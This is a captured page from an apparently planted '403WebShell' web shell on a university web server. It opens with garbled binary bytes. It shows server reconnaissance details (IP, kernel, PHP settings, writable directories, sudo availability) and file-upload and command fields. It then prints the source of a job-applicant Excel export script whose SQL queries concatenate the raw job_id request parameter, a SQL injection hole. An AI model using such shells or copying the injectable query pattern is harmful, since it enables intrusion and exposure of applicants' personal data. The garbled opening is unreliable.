h(  ) ($6;EbBLkfu�_l� ''8;DUFKV3Dd#,?ANk&5G$/(5M\^�ms����Sb�,;R''6c2I�!\����kx�Ve�[i��Me�IYO7:nOL~�Kr�qrv�I:�BM�y��s}r��K����x)1�6@r*2�89ma��&��'ti������{~#������t)1�2<�0:^5�W.uFzQ/u}�v��vv�u��U37yDJeEJo(/�5Ds'1�:Jlu�iy�iy�hw�1;:S`^BMLOQQn,4�7C�8C�>Lfe�]k�[i�Zg��IW�LZ�EP;,.��Tc�q(0) G,/]/1����w�r��l&-t*3�<<�u��#����j&.u��J68\8?"#$%&'()*+,-./0 ! 
Notice: Undefined index: dl in /var/www/html/web/simple.mini.php on line 1
403WebShell
403Webshell
Server IP : 10.254.12.21  /  Your IP : 10.254.12.21
Web Server : Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/5.6.40
System : Linux arit.skru.ac.th 3.10.0-1160.76.1.el7.x86_64 #1 SMP Wed Aug 10 16:21:17 UTC 2022 x86_64
User : apache ( 48)
PHP Version : 5.6.40
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : OFF  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/html/regisjob/admin/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/html/regisjob/admin/report_excel_regis.php
<?php session_start();?>
<?php 
if (!$_SESSION["UserID"]){  //check session
 session_destroy();

	  Header("Location: index1.php"); //ไม่พบผู้ใช้กระโดดกลับไปหน้า login form 
 
}else{
include("../include/connect.php");
?>

<?php
header("Content-Type: application/vnd.ms-excel");
header('Content-Disposition: attachment; filename="MyXls.xls"');#ชื่อไฟล์
?>
<?php
  $sql="SELECT * FROM jobposition,jobpee WHERE jobposition.pee_id=jobpee.pee_id AND jobposition.job_id='".$_GET['job_id']."' AND jobpee.pee_std='1'";
 
                     $result = mysqli_query($conn,$sql);
					 $row1 = mysqli_fetch_array($result);
					 $c=$row1['job_name'];

?>
<html xmlns:o="urn:schemas-microsoft-com:office:office"

xmlns:x="urn:schemas-microsoft-com:office:excel"

xmlns="http://www.w3.org/TR/REC-html40">

<html>
<head>
<meta http-equiv="Content-type" content="text/html;charset=UTF-8" />
<style type="text/css">
<!--
.style3 {color: #0000FF}
-->
</style>
</head>
<?php

//-------------------------ฟังก์ชันดึงข้อมูลสำหรับวนloop----------------------//
function records($conn,$sql){  //ฟังก์ชันดึงข้อมูลสำหรับวนloop
	unset($data);
	$result=mysqli_query($conn,$sql); 
	$rows=mysqli_num_rows($result); 
	for($i=0;$i<$rows;$i++){
	  //mysql_data_seek($result,$i);
	  $data[$i]=mysqli_fetch_array($result,MYSQLI_ASSOC);
	}
	return $data;
}

//$data=records($conn,"SELECT * FROM jobposition,jobpee WHERE jobposition.pee_id=jobpee.pee_id");
$job_id=$_GET['job_id'];
	//$data=records($conn,"SELECT * FROM joblogin ORDER BY login_id asc");
	$data="SELECT * FROM applicant where job_id='$job_id' ORDER BY applicant_id asc";
	$qu=mysqli_query($conn,$data);
	$nu=mysqli_num_rows($qu); 

?>
<body>
<table width="1133" border="1">
  <tr>
    <td colspan="5" align="center" bgcolor="#99CCFF"><span class="style3">รายชื่อผู้สมัคร ตำแหน่ง <?php echo $c;?></span></td>
  </tr>
  <tr>
    <td width="103" align="center" bgcolor="#99CCFF"><span class="style3">ลำดับ</span></td>
    <td width="103" align="center" bgcolor="#99CCFF"><span class="style3">หมายเลขตำแหน่ง/ผู้สมัคร</span></td>
    <td width="195" align="center" bgcolor="#99CCFF"><span class="style3">ชื่อ-นามสกุล</span></td>
    <td width="195" align="center" bgcolor="#99CCFF"><span class="style3">สถานะหลักฐานการสมัคร</td>
    <td width="195" align="center" bgcolor="#99CCFF"><span class="style3">สถานะการจ่ายเงิน</td>

  </tr>
  <?php
if($nu<>'0'){
					 $i=0;
					 while($result=mysqli_fetch_array($qu,MYSQLI_ASSOC))	{
						 
						   $b=$i+1;
						   $i++;   $i++;
						   if($result['prefix_code']=='pf001'){
							   	 $title="นาย";
							   }
							if($result['prefix_code']=='pf002'){
							   	 $title="นาง";
							   }
							 if($result['prefix_code']=='pf003'){
							   	 $title="นางสาว";
							   }
   ?>
  <tr>
    <td align="center"><?=$b; ?></td>
    <td align="center"><?php echo $result['job_id']."/".$result['applicant_id']; ?></td>
    <td align="center"><?php echo $title.$result['first_name']." ".$result['last_name'];?></td>
     
                        <td align="center" width="195"class="table-info fs-6 text-center">
                       <?php if($result['applicant_std']=='0'){ ?>
                      <a class="btn btn-danger" role="button">รอดำเนินการ</a><?php }
					  else{?><a class="btn btn-success" role="button">เอกสารเรียบร้อยสมบูรณ์ <?php } ?></a>
                      </td>  
                       <td align="center" class="table-info fs-6 text-center">
                       <?php if($result['applicant_std_money']=='0'){ ?>
                      <a class="btn btn-danger" role="button">รอดำเนินการ</a><?php }
					  else{?><a class="btn btn-success" role="button">เอกสารเรียบร้อยสมบูรณ์ <?php } ?></a>
                      </td>  
  </tr>
  <?php } ?>
<?php }else{ echo "ไม่พบข้อมูล"; } ?>  
</table>
</body>
</html>
<?php } ?>

Youez - 2016 - github.com/yon3zu
LinuXploit